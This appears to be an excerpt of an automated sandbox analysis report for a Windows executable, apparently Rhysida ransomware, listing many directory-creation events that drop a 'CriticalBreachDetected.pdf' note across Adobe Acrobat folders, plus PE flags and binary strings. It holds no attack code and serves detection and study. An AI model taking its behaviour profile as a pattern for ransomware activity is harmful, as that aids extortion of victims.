Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\CriticalBreachDetected.pdf	Jump to behavior

Source: 5PPbtKZ2hR.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: winload_prod.pdb.rhysida source: 5PPbtKZ2hR.exe, 00000000.00000002.4517075815.0000000003F57000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517497852.0000000003FFB000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519568480.0000000004AEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516141971.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520569334.0000000004C13000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513582550.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517760677.0000000004075000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515806190.0000000003D53000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521784833.0000000004D4C000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519902851.0000000004B58000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514726259.0000000003BCE000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521309323.0000000004CDC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518809313.000000000420D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518318384.000000000413B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515242613.0000000003C93000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514018995.0000000003A70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb{ source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbbC source: 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbt source: 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4511920811.000000000373F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512663493.0000000003832000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512006029.000000000376B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
